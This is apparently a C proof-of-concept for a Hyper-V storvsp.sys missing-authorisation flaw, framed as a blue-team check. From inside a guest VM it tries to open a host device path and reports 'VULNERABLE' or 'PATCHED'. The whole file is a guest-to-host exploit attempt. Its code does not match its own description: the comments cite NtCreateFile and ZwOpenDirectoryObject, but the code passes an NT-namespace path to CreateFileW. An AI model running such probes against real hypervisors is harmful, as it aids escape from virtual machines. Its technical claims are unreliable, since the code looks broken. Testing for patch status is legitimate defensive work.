// poc_cve_2025_59516.c — CVE-2025-59516 storvsp.sys missing auth (blue-team PoC)
//
// Bug:    VspVsmbFileCreate / VspVsmbCommonRelativeCreate lack caller auth.
//         Guest VM can open host \\Device paths via ZwOpenDirectoryObject.
// Reach:  Inside Hyper-V VM, NtCreateFile to \\Device\\STORVSP\\VSMB.
//
// Expected result:
//   - Pre-patch: NtCreateFile on \\Device\\STORVSP\\VSMB\\Device\\Xxx succeeds
//     from guest VM without proper credentials.
//   - Patched:   Access denied (STATUS_ACCESS_DENIED).
//
// Build (MSVC):
//   cl.exe /W4 /O2 poc_cve_2025_59516.c
//
// Blue-team note: This PoC must run INSIDE a Hyper-V VM. On the host, monitor
//   VSMB file-create operations for \\Device namespace traversal.

#include <windows.h>
#include <stdio.h>

#define VSMB_DEVICE L"\\Device\\STORVSP\\VSMB"

int wmain(void)
{
    printf("CVE-2025-59516 - storvsp.sys missing auth (blue-team PoC)\n");
    printf("Run this INSIDE a Hyper-V VM.\n\n");

    // Attempt to open a host device path through VSMB
    // The vulnerability allows opening \\Device paths without auth.
    LPCWSTR targetPath = L"\\Device\\STORVSP\\VSMB\\Device\\Null";

    HANDLE hFile = CreateFileW(
        targetPath,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );

    if (hFile != INVALID_HANDLE_VALUE) {
        printf("[+] SUCCESS: Opened %ws from guest VM!\n", targetPath);
        printf("    This should NOT be possible — host device path accessible from guest.\n");
        printf("    VULNERABLE: storvsp.sys missing auth check.\n");
        CloseHandle(hFile);
        return 0;
    }

    DWORD err = GetLastError();
    printf("[-] CreateFile failed: %lu\n", err);
    if (err == ERROR_ACCESS_DENIED) {
        printf("[+] PATCHED: Access denied as expected.\n");
    } else if (err == ERROR_FILE_NOT_FOUND) {
        printf("[*] VSMB path not found — device may not exist or VSMB not configured.\n");
    } else {
        printf("[*] Unexpected error — check VSMB configuration.\n");
    }
    return 1;
}